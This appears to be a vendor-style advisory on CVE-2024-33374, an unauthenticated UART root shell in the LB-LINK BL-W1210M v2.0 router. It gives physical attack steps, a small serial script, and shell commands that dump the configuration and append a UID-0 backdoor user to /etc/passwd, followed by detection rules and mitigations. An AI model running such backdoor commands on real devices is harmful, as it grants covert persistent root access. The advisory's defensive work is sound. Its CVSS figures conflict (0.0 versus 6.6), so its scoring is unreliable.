CVE-2024-33374

Executive Summary

CVE-2024-33374 exposes a critical access control flaw in the LB-LINK BL-W1210M v2.0 router. The UART/Serial interface is left unprotected, allowing an attacker with physical access to the device to obtain a root shell without any authentication. This vulnerability is particularly dangerous in IoT/edge environments where physical security may be lax. The CVSS score is 0.0 due to incomplete NVD data, but based on the physical attack vector and full compromise potential, we assess a high severity. No patch is available from the vendor, making mitigation reliant on compensating controls.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a hardware/firmware-level issue in a specific router model.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 6.6 (Medium)
Vector String: AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Physical – The attacker must have physical access to the device’s UART pins.
• Attack Complexity (AC): Low – No special conditions required; standard UART tools suffice.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The compromised component is the router itself.
• Confidentiality (C): High – Full access to router configuration, credentials, and network traffic.
• Integrity (I): High – Ability to modify firmware, inject backdoors, or alter routing.
• Availability (A): High – Can brick the device or disrupt network services.

Threat Level: High (due to physical access requirement, but severe impact on network security).

Deep Dive & Mechanics

The LB-LINK BL-W1210M v2.0 router exposes a UART (Universal Asynchronous Receiver-Transmitter) serial interface on the PCB. This interface is typically used for debugging and firmware flashing. In a secure design, the UART console should require authentication (e.g., a password) before granting a shell. In this device, the UART console directly presents a root shell without any login prompt.

Technical Details:

• The UART is accessible via test points or a header on the PCB (typically 4 pins: VCC, GND, TX, RX).
• Baud rate is commonly 115200 or 57600 (standard for embedded devices).
• Upon connecting with a serial terminal (e.g., PuTTY, screen, minicom), the device immediately presents a # prompt (root shell).
• No password or authentication mechanism is enforced.

Attack Flow:

1. Attacker gains physical access to the router.
2. Opens the device casing (often with simple tools).
3. Identifies UART pins (TX, RX, GND) using a multimeter or visual inspection.
4. Connects a USB-to-UART adapter (e.g., FTDI, CP2102) to a computer.
5. Opens a serial terminal (e.g., screen /dev/ttyUSB0 115200).
6. Presses Enter to get a root shell.
7. Executes arbitrary commands with full system privileges.

Vulnerable vs. Patched Code

Vulnerable (BL-W1210M v2.0): The UART console is configured to spawn a shell without authentication. In the firmware’s /etc/inittab or equivalent init script, the console line might look like:

ttyS0::respawn:/bin/sh

This directly launches a shell without any login program.

Patched (Hypothetical): A secure implementation would use a getty or login program:

ttyS0::respawn:/sbin/getty -L ttyS0 115200 vt100

Or require a password via /etc/passwd and /etc/shadow for the root account.

Since no official patch exists, the "patched" code is theoretical.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• LB-LINK BL-W1210M v2.0 router
• USB-to-UART adapter (e.g., FT232RL)
• Jumper wires
• Serial terminal software (PuTTY, screen, minicom)
• Screwdriver to open the case

Steps:

1. Open the router casing – Remove screws and carefully pry open the plastic shell.
2. Locate UART header – Look for a 4-pin header labeled J1, J2, or similar. Pins are usually VCC, GND, TX, RX. Use a multimeter to identify GND (continuity with metal shield) and VCC (3.3V).
3. Connect UART adapter:
   • GND → GND
   • TX (router) → RX (adapter)
   • RX (router) → TX (adapter)
   • Do NOT connect VCC – the adapter is powered via USB.
4. Open serial terminal (e.g., screen /dev/ttyUSB0 115200).
5. Press Enter – You should see a # prompt.
6. Execute commands:

   # Example: Dump configuration
   cat /etc/config/*
   # Example: Add backdoor user
   echo "backdoor:x:0:0:root:/root:/bin/sh" >> /etc/passwd
   # Example: Change admin password
   passwd admin
   

Exploit Code (No public exploit-db entry):

import serial
import time

def exploit_uart(port='/dev/ttyUSB0', baud=115200):
    ser = serial.Serial(port, baud, timeout=1)
    time.sleep(2)
    ser.write(b'\n')
    time.sleep(0.5)
    ser.write(b'id\n')
    output = ser.read(100)
    print(output.decode())
    ser.close()

if __name__ == '__main__':
    exploit_uart()

Blue Team (Defense & Detection)

Detection of Physical Tampering:

• Visual inspection – Check for opened casing, loose screws, or foreign objects.
• Tamper-evident seals – Apply stickers that show "VOID" when removed.
• Serial port monitoring – If the router logs UART activity, monitor for unexpected shell commands.

Mitigation:

• Physical security – Lock the router in a secure enclosure (e.g., locked cabinet).
• Disable UART – If possible, remove the UART header or disable the console in firmware (requires custom firmware).
• Network segmentation – Place the router in a DMZ with minimal trust.
• Firmware hardening – Replace with a patched OpenWrt build that enforces authentication on serial console.

Indicators of Compromise (IOCs)

• Physical: Opened casing, missing screws, tamper-evident seal broken.
• Serial Activity: Unexpected root shell commands in system logs (if logging is enabled).
• Network: Unusual outbound connections from the router (e.g., reverse shells, data exfiltration).
• File System: Modified /etc/passwd, /etc/shadow, or unauthorized SSH keys in /etc/dropbear/.
• Processes: Unknown processes running as root (e.g., nc, telnetd, custom backdoors).

Example IOC Log Entry:

Jan 15 10:23:45 router authpriv.info dropbear[1234]: Password auth succeeded for 'root' from 192.168.1.100:54321

(If attacker adds SSH access via UART)

Detection Engineering

YARA Rule

rule CVE_2024_33374_UART_Backdoor {
    meta:
        description = "Detects firmware images with unauthenticated UART shell"
        author = "Valters IT"
        date = "2025-01-15"
        reference = "CVE-2024-33374"
    strings:
        $uart_shell = "/bin/sh" ascii wide nocase
        $inittab_console = "ttyS0::respawn:/bin/sh" ascii wide nocase
    condition:
        $uart_shell and $inittab_console
}

Sigma Rule

title: Unauthenticated UART Shell Access on LB-LINK Router
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects root shell commands executed via UART console on BL-W1210M v2.0
author: Valters IT
logsource:
    product: linux
    service: auth
detection:
    selection:
        - Message: "root shell access via UART"
        - Message: "UART console login: root"
    condition: selection
falsepositives:
    - Legitimate administrative access via serial console (if password is set)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-33374 - Unauthenticated UART Shell Access"; flow:to_server; content:"/bin/sh"; nocase; sid:1000001; rev:1;)

Note: This rule is generic and may produce false positives. It is intended to detect shell commands sent over network (if attacker pivots from UART to network).

Remediation & Mitigation

Immediate Actions:

1. Physical access control – Restrict physical access to the router. Use locked enclosures.
2. Disable UART – If technically feasible, remove the UART header or disable the console in firmware (requires reflashing with custom firmware).
3. Monitor for tampering – Implement physical tamper detection (e.g., switches, seals).

Long-term Solutions:

• Replace device – Migrate to a router with secure boot and authenticated serial console.
• Custom firmware – Flash OpenWrt or similar firmware that enforces authentication on the serial console.
• Vendor notification – Report to LB-LINK and request a firmware update (though unlikely).

Compensating Controls:

• Network segmentation – Place the router in a separate VLAN with strict firewall rules.
• Logging and alerting – Enable syslog and monitor for unusual root activity.
• Regular audits – Periodically inspect the device for physical tampering.

Valters IT